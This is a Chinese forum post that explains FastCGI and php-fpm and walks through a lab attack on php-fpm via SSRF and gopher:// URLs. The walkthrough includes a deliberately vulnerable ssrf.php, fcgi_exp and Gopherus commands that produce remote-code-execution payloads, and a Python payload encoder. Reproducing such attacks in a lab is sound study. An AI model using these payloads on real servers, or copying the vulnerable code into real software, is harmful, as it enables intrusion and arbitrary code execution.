电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 2505 人浏览分享

SSRF系列之攻击FastCGI

[复制链接]
2505 0
本帖最后由 zhaorong 于 2020-9-7 14:59 编辑

前言

利用SSRF漏洞攻击内网的Redis的时候提到了Gopher协议 说到了这个协议作为SSRF漏洞利用中的万金油可以用
它来攻击内网的FTP、Telnet、Redis、Memcache、FastCGI等应用,那么这篇文章就来介绍一下FastCGI以及
利用SSRF结合Gopher协议攻击FastCGI。

FastCGI

快速通用网关接口 Fast Common Gateway Interface/FastCGI是一种让交互程序与Web服务器通信的协议
FastCGI是早期通用网关接口 CGI 的增强版本 FastCGI致力于减少网页服务器与CGI程序之间交互的开销从而
使[服务器可以同时处理更多的网页请求。

只通过这样简单两句话确实难以理解这是一个什么协议 下面是我通过阅读各种资料后对这个协议的理解

众所周知 在网站分类中存在一种分类就是静态网站和动态网站 两者的区别就是静态网站只需要通过浏览器进行解析
其中的页面是一对一的 一个内容对应一个页面 而动态网站需要一个额外的编译解析的过程 网页上的数据是从数据
库中或者其他地方调用 页面会随着数据的变化而改变 就产生了一定的交互性。

浏览器访问静态网页过程

在整个网页的访问过程中 Web容器(例如Apache Nginx)只担任着内容分发者的身份 当访问静态网站的主页时
Web容器会到网站的相应目录中查找主页文件 然后发送给用户的浏览器。

224121mhyii8it8t2oxeet.jpg

浏览器访问动态网页过程

当访问动态网站的主页时 根据容器的配置文件 它知道这个页面不是静态页面 web容器就会去找PHP解析器
来进行处理 这里以Apache为例 它会把这个请求进行简单的处理 然后交给PHP解释器。

224121kkjhzlk8qo19uhoo.jpg

当Apache收到用户对 index.php 的请求后 如果使用的是CGI 会启动对应的 CGI 程序 对应在这里就是PHP的解析器
接下来PHP解析器会解析php.ini文件 初始化执行环境 然后处理请求 再以规定CGI规定的格式返回处理后的结果退出
进程 Web server再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程。

这里说的是使用CGI 而FastCGI就相当于高性能的CGI 与CGI不同的是它像一个常驻的CGI 在启动后会一直运行着 不需要每
次处理数据时都启动一次  所以这里引出下面这句概念 FastCGI是语言无关的 可伸缩架构的CGI开放扩展 其主要行为是将
CGI解释器进程保持在内存中 并因此获得较高的性能 。

php-fpm

了解了CGI和FastCGI之后 我们来看一下什么是php-fpm 官方对它的解释是FPM FastCGI 进程管理器用
于替换 PHP FastCGI 的大部分附加功能 对于高负载网站是非常有用的。
也就是说php-fpm是FastCGI的一个具体实现 并且提供了进程管理的功能 在其中的进程中 包含了master和worker进程
这个在后面我们进行环境搭建的时候可以通过命令查看。其中master 进程负责与 Web 服务器进行通信 接收 HTTP请求
再将请求转发给 worker 进程进行处理 worker 进程主要负责动态执行 PHP 代码,处理完成后 将处理结果返回给 Web
服务器,再由 Web 服务器将结果发送给客户端。

php-fpm攻击实现原理

想要分析它的攻击原理需要从FastCGI协议封装数据内容来看 这里仅对攻击原理做简要描述 CGI 和 FastCGI 协议的运行
原理这篇文章中详细介绍了FastCGI协议的内容,其攻击原理就是在设置环境变量实际请求中会出现一个SCRIPT_FILEN
AME': '/var/www/html/index.php这样的键值对,它的意思是php-fpm会执行这个文件,但是这样即使能够控制这个
键值对的值,但也只能控制php-fpm去执行某个已经存在的文件 不能够实现一些恶意代码的执行。

而在php5.3.9后来的版本中 php增加了安全选项导致只能控制php-fpm执行一些php php4这样的文件 这也增大了
攻击的难度。但是好在php官方允许通过PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置。
那么当设置php环境变量为:auto_prepend_file = php://input;allow_url_include = On,就会在执行php脚本之前包含
auto_prepend_file文件的内容,php://input也就是POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码
这样就在理论上实现了php-fpm任意代码执行的攻击。

环境搭建

靶    机:  Ubuntu
攻击机:   Kali

这里直接在Ubuntu上安装Nginx和php-fpm,首先安装Nginx
  1. sudo apt-get install nginx
复制代码

安装php、php-fpm以及一些插件
  1. sudo apt-get install software-properties-common python-software-properties
  2. sudo add-apt-repository ppa:ondrej/php #这里容易卡死,解决方法使用代理
  3. sudo apt-get update
  4. sudo apt-get -y install php7.2
  5. sudo -y apt-get install php7.2-fpm php7.2-mysql php7.2-curl php7.2-json php7.2-mbstring
  6. php7.2-xml php7.2-intl
复制代码

配置php-fpm

修改配置监听9000端口来处理nginx的请求

打开/etc/php/7.2/fpm/pool.d/www.conf文件找到如下位置注释第一行添加第二行
  1. ;listen = /run/php/php7.2-fpm.sock
  2. listen = 127.0.0.1:9000
复制代码

注意这里如果设置监听为0.0.0.0:9000就在产生php-fpm未授权访问漏洞此时攻击者可以直接
与9000端口上的php-fpm进行通信 进而可以实现任意代码执行。

下面修改权限
  1. chmod 777 /run/php/php7.2-fpm.sock
复制代码

打开nginx的配置文件 /etc/nginx/sites-available/default 修改相应部分的配置
  1. server {
  2.     listen       80; #监听80端口,接收http请求
  3.     server_name  www.example.com; #就是网站地址
  4.     root /usr/local/etc/nginx/www/huxintong_admin; # 准备存放代码工程的路径
  5.     #路由到网站根目录www.example.com时候的处理
  6.     location / {
  7.         index index.php; #跳转到www.example.com/index.php
  8.         autoindex on;
  9.     }  
  10.     #当请求网站下php文件的时候,反向代理到php-fpm
  11.     location ~ \.php$ {
  12.         fastcgi_split_path_info ^(.+\.php)(/.+)$;
  13.         fastcgi_pass 127.0.0.1:9000;#nginx fastcgi进程监听的IP地址和端口
  14.         #fastcgi_pass unix:/run/php/php7.2-fpm.sock;
  15.         fastcgi_index index.php;
  16.         include fastcgi_params;
  17.     }
  18. }
复制代码

启动环境

配置完成后查看一下php-fpm的安装位置,然后启动
  1. whereis php-fpm
  2. /usr/sbin/php-fpm7.2 #这是我的靶机上php-fpm安装的位置
复制代码

重新启动Nginx
  1. sudo systemctl restart nginx
复制代码

然后检查nginx是否正确启动 systemctl status nginx

224243mn2gfwyr5gggtwjd.png

检查php-fpm是否正确启动 ps -elf | grep php-fpm

100.png

这里就可以看出上面所说的存在一个master进程和多个worker进程
下面将/var/www/html/目录下的文件删除 新建一个index.php 内容可以写上<?php phpinfo(); ?>用来
检查各项是否正常运行 如果页面为空 查看这篇文章解决。

99.png

其中Sever API 处和上图一样说明运行正确 然后在目录下新建ssrf.php 内容为
  1. <?php
  2.     highlight_file(__FILE__);
  3.     $url = $_GET['url'];
  4.     $curl = curl_init($url);   
  5.     //第二种初始化curl的方式
  6.     //$curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $_GET['url']);

  7.     /*进行curl配置*/
  8.     curl_setopt($curl, CURLOPT_HEADER, 0); // 不输出HTTP头
  9.     $responseText = curl_exec($curl);
  10.     //var_dump(curl_error($curl) );//如果执行curl过程中出现异常,可打开此开关,以便查看异常内容

  11.     echo $responseText;
  12.     curl_close($curl);
  13. ?>
复制代码

该代码为一个ssrf漏洞的示例代码 可以访问/ssrf.php?url=http://www.baidu.com进行测试下图为正常的结果

98.png

ssrf攻击FastCGI演示

使用fcgi_exp攻击

这里在已知其使用了php-fpm的情况下 我们可以先使用fcgi_exp测试是否可以直接攻击9000端口这个工具主要是
用来攻击未授权访问php-fpm的 所以一些地方需要自己写脚本转换一下payload下面是使用方法。

该工具需要go语言环境,下载后进入目录
  1. go build fcgi_exp.go #编译fcgi_exp.go
复制代码

这里直接运行可以看到fcgi_exp的使用方法
  1. Usage:   ./fcgi_exp <cmd> <ip> <port> <file> [command]
  2. cmd: phpinfo, system, read
  3. the SYSTEM cmd only affects PHP-FPM >= 5.3.3
  4. ip: Target ip to exploit with.
  5. port: Target port running php-fpm.
  6. file: File to read or execute.
  7. command: Command to execute by system. Must use with cmd 'system'.
  8. Example: ./fcgi_exp system 127.0.0.1 9000 /var/www/html/index.php "whoami"
  9. ./fcgi_exp phpinfo 127.0.0.1 9000 /var/www/html/index.php > phpinfo.html
  10.   ./fcgi_exp read 127.0.0.1 9000 /etc/issue
复制代码

使用如下命令进行测试
  1. ./fcgi_exp system 192.168.233.138 9000 /var/www/html/index.php "id"
复制代码

在这里显然是不行的 因为在配置端口监听的时候 仅允许监听在127.0.0.1 所以说不能攻击成功但是如果
有的服务器在配置的时候将9000端口监听在公网上了 就可以用上面的方法进行测试。如果仅监听在本地
可以通过ssrf来攻击内部的9000端口。
在攻击机上使用nc -lvvp 1234 > fcg_exp.txt监听1234 端口来接收payload另外开启
一个终端使用下面的命令发送payload
  1. ./fcgi_exp system 127.0.0.1 1234 /var/www/html/index.php "id"
复制代码

注意这里攻击的端口是上面监听的端口 目的是将payload发送到这个端口 运行后可以使用Ctrl+C 来结束运行
现在就得到了一个fcg_exp.txt的文件 里面是获得的payload 可以使用xxd fcg_exp.txt查看其内容。

96.png

文件里的内容有部分是不可见字符 这里需要url编码一下这里写一个Python脚本对文件中的内容进行编码
  1. # -*- coding: UTF-8 -*-
  2. from urllib.parse import quote, unquote, urlencode
  3. file = open('fcg_exp.txt','r')
  4. payload = file.read()
  5. print("gopher://127.0.0.1:9000/_"+quote(payload).replace("%0A","%0D").replace("%2F","/"))
复制代码

之后使用burp抓一个访问ssrf.php的包 将输出的内容放到?url=后面 然后这里需要再进行一次编码因为这里
curl会进行一次解码 gopher会再进行一次解码 这里直接用burp中的工具

92.png

编码之后直接Go就可以执行刚才设置的命令了

91.png

使用Gopherus攻击

这个工具相比上一个更加方便一下该工具能生成Gopher有效负载 用来利用ssrf获得RCE下面利用这个工具来执行命令
  1. python gopherus.py --exploit fastcgi
  2. /var/www/html/index.php               
  3. #这里输入的是一个已知存在的php文件
  4. whoami
复制代码


9.png

获得payload 之后用同样的方法在burp Go一下(记得二次编码)

8.png

总结

通过上面的演示 可以看到又一个ssrf结合其他漏洞形成重大影响的示例 其实总的来看整个攻击的过程并不复杂 但是这仅仅是
通过文章呈现出来的一种错觉 其实在复现的过程中 还是会出现各种各样的问题的 比如说搭建整个环境,其实是尝试了很多种
搭建方式之后才成功的 本来也想用一个镜像来复现 但是没有合适的 最后终于找到了一种简单的方法来安装nginx和php-fpm
再比如使用fcgi_exp攻击时写的脚本 其实是修改了很多次才成功的。所以说大家如果想真正理解和掌握这个漏洞 最好还是自己
搭建环境尝试一下 通过搭建环境 学到的不仅仅是这个漏洞 还有这些环境的一些知识。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.